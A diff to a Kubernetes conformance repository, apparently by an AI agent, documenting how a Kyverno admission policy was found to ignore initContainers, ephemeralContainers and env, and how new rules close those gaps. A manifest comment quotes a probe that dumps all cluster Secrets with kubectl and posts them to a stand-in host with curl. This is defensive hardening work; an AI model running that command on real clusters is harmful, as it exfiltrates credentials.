diff --git a/DECISIONS-LOG.md b/DECISIONS-LOG.md index b09aa44..0cde3d4 100644 --- a/DECISIONS-LOG.md +++ b/DECISIONS-LOG.md @@ -5264,3 +5264,248 @@ review", that policy is not implemented anywhere in this repo. `CODEOWNERS`-styl or a `paths:`-scoped required check would be the mechanism; neither exists today. The PR was **not merged** and nothing was worked around. + +--- + +## 2026-09-29 (addendum to PR #20) — the `initContainers` hole is CLOSED, and so is `ephemeralContainers` + +The coordinator reproduced the finding above independently, then **authorised the policy edit my +brief had forbidden** — reversing it explicitly, on the grounds that the ban existed to stop the +boundary being *bent to fit a Job*, not to stop a hole being closed. Their reproduction, which I +had not tried: a `privileged: true` `docker.io/library/alpine:latest` initContainer running +`kubectl get secrets -A`, `serviceAccountName: conformance-runner`, `containers[0]` fully +compliant → `pass: 3, fail: 0`. **Admitted.** `=(privileged): "false"` in rule 1 only ever +applied to `containers[0]`. + +### What changed + +`platform/kyverno/admission/conformance-trigger-job-shape.yaml` gains two rules: + +- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it + must be on the digest-pinned `conformance-runner` image, `command: + ["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation: + false`, not privileged. +- **`trigger-may-not-declare-ephemeral-containers`** — the third container list, answering the + question the coordinator asked. See the honesty note below. + +Both use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least one** +element matches", so a pattern-based init rule would have admitted the committed clone step +**plus** an arbitrary second init container — the same hole rule 2's own comment describes for +volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way. + +Two implementation traps worth recording: + +- **`not_null()`, never `||`.** JMESPath treats `false` as falsy, so + `element.securityContext.allowPrivilegeEscalation || `true`` rewrites the **compliant** value + `false` into `true` and denies every good Job. Absence defaults must use + `not_null(x, `default`)`. +- **`join(' ', command)` compared as a string, not the array compared with `Equals`.** Kyverno's + `Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let + `["/bin/sh","-c",…]` through on element 0. + +### The clone script moved OUT of the Job — that is the actual fix + +Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`: +a policy cannot distinguish the committed script from an attacker's, because both are just data. +So the logic is now `conformance/incluster/conformance-clone`, which the runner image installs +at `/usr/local/bin/conformance-clone` (mode 0755 — added to plan §5 step 1 as a hard requirement, +and handed to the agent building that image; the `^[0-9a-f]{40}$` guard and the +`rev-parse HEAD == SHA` assertion are the load-bearing parts and survived the move verbatim). The +script stays in-repo and reviewable, which is the property the inline version was protecting. The +Job's init container is now `command` + `env` and nothing else. + +**One thing I changed while moving it, and it matters:** the repository URL is now **hardcoded in +the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says +nothing about `env`. Had the URL stayed in env, a trigger could point the clone at a repository it +controls and have `containers[0]` execute that repo's `./run.sh` as `conformance-runner` — the +same escalation, laundered through a field nobody constrains. **Do not move that URL back into +env.** Constraining `env` in the policy is the remaining hardening step and is NOT done. + +### Proven, not asserted (kyverno v1.19.0, pinned toolbox) + + ##### the real rendered template MUST PASS + Applying 5 policy rule(s) to 1 resource(s)... + pass: 5, fail: 0, warn: 0, error: 0, skip: 0 + + ##### the coordinator's exact probe MUST FAIL + 1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ... + pass: 4, fail: 1, warn: 0, error: 0, skip: 0 + + ##### same escalation via ephemeralContainers MUST FAIL + 1 - trigger-may-not-declare-ephemeral-containers ... + pass: 4, fail: 1, warn: 0, error: 0, skip: 0 + +Full fixture matrix from `kyverno apply --policy-report` (37 pass / 10 fail, 0 error, 0 skip): + +| resource | may-create | volumes | args | initContainers | ephemeral | +|---|---|---|---|---|---| +| `real-template` | pass | pass | pass | **pass** | pass | +| `good-run` | pass | pass | pass | — | pass | +| `evil-command` | **fail** | pass | — | — | pass | +| `evil-image` | **fail** | pass | — | — | pass | +| `tag-not-digest` | **fail** | pass | — | — | pass | +| `host-namespaces` | **fail** | pass | — | — | pass | +| `extra-volume` | pass | **fail** | — | — | pass | +| `injected-args` | pass | pass | **fail** | — | pass | +| `evil-initcontainer` | pass | pass | pass | **fail** | pass | +| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | +| `second-initcontainer` | pass | pass | pass | **fail** | pass | +| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | + +`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Note how every +`evil-*` init/ephemeral case **passes the three original rules** — that is the whole finding in +one column, and it is why the fixtures are worth more than the rules' prose. + +### UNVERIFIED — the `ephemeralContainers` question, answered honestly + +I could **not** confirm whether the API server would accept `ephemeralContainers` inside a Job's +pod template. Upstream, the field is settable only through the `pods/ephemeralcontainers` +subresource and `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to +a pod **template** nested in a Job, and I did not find a definitive answer. Establishing it would +need a `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the +operator — so I did not run one. **The rule was added anyway:** it is a no-op if upstream already +rejects the field, and it is the same hole again if it does not. "Probably rejected upstream" is +not a boundary. If someone with cluster-write access wants to settle it, that is a one-command +check; the rule should stay either way. + +Still unverified, unchanged from the entry above: nothing here has executed, because the runner +image does not exist — and it now has one more obligation to meet (`/usr/local/bin/conformance-clone`) +before it can. If that path is missing or named differently, the init container fails to start; +if it is present but the image is not the pinned digest, admission denies the Job. + +### Process note, worth more than the policy fix + +Both halves of this came from **probing rather than reading**. The hole was not visible in the +policy's prose — which is careful, accurate about what it does constrain, and explicit that it is +"THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. The `--userinfo` +observation is the same shape: `kyverno apply` evaluates these rules with or without it, so a +green CLI run is evidence about the patterns and **not** about the `subjects` filter that decides +whether they apply at all. A policy is only as trustworthy as its negative fixtures. + +--- + +## 2026-09-29 (second addendum to PR #20) — `env` was the same hole a third time; and the plan's phase-exit invocation cannot run + +Three inputs arrived after the entry above: agent 1 shipped `/usr/local/bin/conformance-clone` +in PR #18, the coordinator invited me to constrain `env`, and agent 1 measured which `args` +shapes the image can actually execute. All three changed this branch. + +### 1. I was shipping a DUPLICATE of a security-critical script — deleted + +I wrote `conformance/incluster/conformance-clone.sh`; agent 1's PR #18 adds +`conformance/incluster/conformance-clone`. Two copies of the clone entrypoint in one directory, +one of them baked into the image and one of them not, is a guaranteed drift into "the reviewed +file is not the file that runs". **Mine is deleted**; everything now references agent 1's path, +which arrives with #18. + +I read their version before deleting mine rather than assuming compatibility, and the interface +my Job depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; +baked clone target `/workspace/src` (which is what makes my `workingDir: +/workspace/src/conformance` correct); `TMPDIR`/`HOME` required to be under `/workspace`; and both +load-bearing guards preserved — `^[0-9a-f]{40}$` on the SHA and `rev-parse HEAD == SHA` after +checkout. Theirs is a superset: it also hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` +that disagrees with the baked values, rather than honouring it. + +Worth recording that agent 1 reached the hardcoded-URL conclusion **independently and against an +instruction to read those values from env** — the coordinator's instruction, which they then +retracted. Two agents finding the same "the policy doesn't read this field, so trusting it just +moves the injection" reasoning in the same afternoon is the signal that the field-enumeration gap +was systemic, not a one-off. + +### 2. `env` was unconstrained — now allowlisted (two more rules) + +The coordinator left this to my judgement. I closed it, because it is provably the same bug: +`command` and `args` are pinned, so injection moves to whatever adjacent field nobody +enumerated, and **`BASH_ENV` alone is arbitrary code execution** — bash sources it before +running a non-interactive script, and the runner's command IS a bash script. + +- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`, + `CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`, + `CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`. + The init list iterates `initContainers[].env[]` flattened, so it keeps working if the + at-most-one cap is ever relaxed. +- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are + nowhere in the Job, which would make the allowlist above unenforceable by inspection. + +**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are +legitimately environment-specific, and `conformance-runner` can already read this namespace's +Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector +that matters, because a name is what a program keys behaviour on. + +Two Kyverno traps, both of which silently invert the result and are now commented in the rules: + +- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so + ``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** + value `false` into `true` and denies every good Job. +- **`join(' ', command)` compared as a string**, not the array compared with `Equals`: Kyverno's + `Equals`/`NotEquals` are unreliable on arrays, and element-wise matching lets + `["/bin/sh","-c",…]` through on element 0. + +### 3. The committed `args` default was a shape that cannot run + +Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements ` fail on +the runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its +offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state +the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is +layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` +then filters to `/l0-static/|/l1-rendering/`: + +| args | offline selection | verdict | +|---|---|---| +| `--layer l2,l3` | empty | **RUNS** | +| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** | +| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** | +| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** | +| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** | + +So `--layer` is mandatory and must name only l2/l3. **The committed default was +`--layer all --strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More +importantly: **the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A +full-suite run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the +manifest header and needs to land in `ci/conformance.sh` (plan §3 item 4). + +I did **not** narrow the policy's args allowlist to match. A security boundary should not encode +which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape +is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was +considered. + +### Proven (kyverno v1.19.0, pinned toolbox, 7 rules now) + + real rendered template -> pass: 7, fail: 0 + coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1) + ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1) + +Full fixture matrix — 65 pass / 13 fail / 0 error / 0 skip: + +| resource | creat | vols | args | init | ephem | envnm | envfr | +|---|---|---|---|---|---|---|---| +| `real-template` | pass | pass | pass | pass | pass | pass | pass | +| `good-run` | pass | pass | pass | — | pass | — | pass | +| `evil-command` | **fail** | pass | — | — | pass | — | pass | +| `evil-image` | **fail** | pass | — | — | pass | — | pass | +| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass | +| `host-namespaces` | **fail** | pass | — | — | pass | — | pass | +| `extra-volume` | pass | **fail** | — | — | pass | — | pass | +| `injected-args` | pass | pass | **fail** | — | pass | — | pass | +| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass | +| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass | +| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass | +| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass | +| `injected-env` | pass | pass | pass | — | pass | **fail** | pass | +| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass | +| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** | + +`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule — +correct image, correct pinned command, no args, non-root — and is hostile purely through `env`. +That is why the env rule had to be its own rule and not a condition bolted onto the init rule. + +### UNVERIFIED, still + +- Nothing has executed against a cluster. PR #18 must merge first (the image digest), and Secret + `conformance-git-readonly` still does not exist. +- Whether the API server accepts `ephemeralContainers` in a Job pod template — unchanged from the + entry above; establishing it needs a mutating dry-run reserved to the operator. +- The env allowlists are derived from what the two programs read TODAY. If `run.sh` or the clone + entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a + reviewed change. That is the intended failure direction, but it is a coupling the next person + editing either script needs to know about, so it is called out in the rule's message. diff --git a/conformance/incluster/README.md b/conformance/incluster/README.md index b7ab45a..50bf412 100644 --- a/conformance/incluster/README.md +++ b/conformance/incluster/README.md @@ -26,11 +26,21 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). test lands. This is a **privileged test identity**: never reused by workloads, its own audit item. - `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per - run). Single entrypoint `./run.sh`; a git-clone init container delivers the suite at the + run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the commit under test; artifacts leave over stdout. Its header is the authority on the - substitution tokens, the admission constraints it satisfies, and **an open security gap - in the admission policy that it documents and does not exploit** — read it before - editing either file. + substitution tokens and the admission constraints it satisfies, and records the + `initContainers` hole that was found and closed alongside it — read it before editing + either file. +- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's + entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a + file in the image rather than an inline script in the Job precisely so admission can pin + it: a policy cannot tell the committed script from an attacker's when both are just `args` + on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose, + and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than + honoured — a URL taken from env would let the trigger choose which repository's code runs + as `conformance-runner`. This branch's Job depends on that interface: + `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src` + (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`. ## Flow 1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the @@ -39,12 +49,13 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**). 2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce + fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary. -3. The **init container** shallow-clones the repo into `/workspace/src`, fetches the commit - if the shallow tip does not already contain it, detaches onto it, and **asserts `HEAD` - equals the requested SHA** — the suite runs at the commit under test or not at all. The - read-only Gitea credential reaches `git` as env vars from `secretKeyRef` (secret - `conformance-git-readonly`, keys `username`/`token`), never as a volume: admission allows - no volume but `workspace` and `results`. +3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it + shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does + not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** — + the suite runs at the commit under test or not at all. The read-only Gitea credential + reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys + `username`/`token`), never as a volume: admission allows no volume but `workspace` and + `results`. 4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` + `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`). 5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to @@ -53,13 +64,20 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead of decoding to plausible garbage. -## Operator prerequisites (out of GitOps — neither exists yet) -- Secret `conformance-git-readonly` in namespace `conformance`, keys `username` and +## Prerequisites before this Job can run at all +- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and `token`: a **read-only** Gitea token for this repository. Never a write token or a - push-capable deploy key. -- The `conformance-runner` image built and pushed (plan §5 step 1); its digest is what the - trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and - a **uid 65532** non-root user, which the Job's `runAsUser`/`fsGroup` pin. + push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6). +- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge + before this template is usable; its digest is what the trigger substitutes. Contract the + image MUST meet, because the Job and the admission policy both depend on it: + - bash, git, python3, chainsaw and kubectl on `PATH`; + - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different + uid in the Containerfile means the Job will not start; + - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**, + mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins + that exact path, so an image without it cannot run the clone step and no other path will + be admitted. ## Phase 0 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux diff --git a/conformance/incluster/chainsaw-job.yaml b/conformance/incluster/chainsaw-job.yaml index 5a27dc1..4214c5e 100644 --- a/conformance/incluster/chainsaw-job.yaml +++ b/conformance/incluster/chainsaw-job.yaml @@ -39,42 +39,70 @@ # resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission. # # ----------------------------------------------------------------------------- -# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !! +# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29) # ----------------------------------------------------------------------------- -# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template, -# replace ONLY the init container's `args` with -# kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/ -# and leave `containers[0]` untouched and compliant. Result: -# Applying 3 policy rule(s) to 1 resource(s)... -# pass: 3, fail: 0, warn: 0, error: 0, skip: 0 -# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's -# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never -# examined, so the exact escalation the policy exists to stop — the privileged -# conformance-runner SA executing an arbitrary command — is still reachable, one field -# over. This template's OWN init container does not exploit that; the gap is the policy's, -# and it existed before this file had an init container at all. +# As originally written, the policy read only `spec.template.spec.containers` (rule 1's +# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was +# never examined, so the exact escalation the policy exists to stop was reachable one +# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully +# compliant: +# +# * this template with ONLY the init container's args replaced by +# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/` +# * and (the coordinator's independent reproduction) a `privileged: true` +# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A` +# +# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED +# +# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`. +# +# Closed by new rules in that policy, authorised by the coordinator in this PR +# (the original brief forbade policy edits; that was to stop the boundary being BENT to +# fit a Job, not to stop a hole being closed): +# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init +# container, on the digest-pinned runner image, `command: +# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation, +# not privileged. The clone logic moved OUT of this manifest and into the image for +# exactly this reason: a policy cannot vet a shell script passed as `args`, so the +# script had to stop being caller-supplied data. It stays reviewable as +# conformance/incluster/conformance-clone. +# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same +# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not +# verified here, and the rule costs nothing if it is true. +# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env` +# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable +# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash +# sources it before running a non-interactive script. Names are allowlisted per container; +# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately +# environment-specific, and conformance-runner can already read this namespace's Secrets +# through its own RBAC, so pinning the source would buy nothing). +# +# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ — +# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`, +# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`, +# `envfrom-whole-secret` — so they stay failing. +# +# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the +# committed shape" policy is only as good as its enumeration of every field that can carry +# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and +# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none +# does, that is the finding, not an oversight to work around. +# +# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed +# on a mismatch rather than honoured) for exactly this reason. Do not move it into env. # -# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs -# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it. -# FOLLOW-UP, in order of preference: -# 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and -# add a 4th rule pinning `initContainers` to one container on the same digest-pinned -# image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an -# init container carries no caller-supplied code at all and the rule is one pattern. -# 2. Failing that, a rule denying any `initContainers` entry whose image is not the -# pinned runner image — weaker (the script stays caller-supplied) but it at least -# stops an arbitrary image running as conformance-runner. # Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is # supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter. # # ----------------------------------------------------------------------------- # WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}` # ----------------------------------------------------------------------------- -# The placeholder syntax is deliberately NOT shell syntax. The init container below is a -# bash script full of legitimate `${...}` references; running the template through -# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving -# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render -# this". Render with a two-token sed, nothing cleverer: +# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by +# `envsubst`, which has no way to tell a token meant for rendering from a shell reference +# that belongs to a script — a trap this file walked into while the clone logic was still an +# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a +# rendered manifest is trivially greppable as "the trigger forgot to render this". Render +# with a two-token sed, nothing cleverer: # # sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \ # -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml @@ -88,13 +116,39 @@ # REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder # or an injected value is a hard failure, never a run of the wrong tree. # -# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the -# trigger REPLACES it wholesale per invocation shape — -# MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo", -# "--requirements", ""] -# PHASE EXIT: ["--layer", "all", "--strict-coverage"] -# Keeping it a committed list (not a substituted scalar) is what lets this file be handed -# to `kyverno apply` as-is. +# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per +# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this +# file be handed to `kyverno apply` as-is. +# +# ----------------------------------------------------------------------------- +# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3 +# ----------------------------------------------------------------------------- +# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT +# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a +# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not +# offline-only, and those stages need exactly those missing tools. Tracing run.sh: +# +# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all; +# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/. +# +# so: +# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS. +# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS. +# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO +# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS. +# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that +# requirement's L0/L1 tests into the run. FAILS on the missing toolchain. +# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS. +# +# The first three are measured working by the image build (PR #18); the last two are measured +# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a +# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone. +# The committed default below is the narrowest shape that works. +# +# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a +# security boundary should not encode which toolchain an image happens to ship, and the failure +# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This +# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land. # # ----------------------------------------------------------------------------- # RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable @@ -152,67 +206,25 @@ spec: # --------------------------------------------------------------------- # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace. # - # The credential is a READ-ONLY Gitea token, referenced by secret name only. It - # reaches git through an inline credential helper that reads the ENVIRONMENT, so - # the token never appears in argv (where `ps` and the Pod spec would show it) and - # is never written to disk. + # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at + # conformance/incluster/conformance-clone and is baked into the runner image at + # /usr/local/bin/conformance-clone. That is what makes the init container + # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` + + # `args: [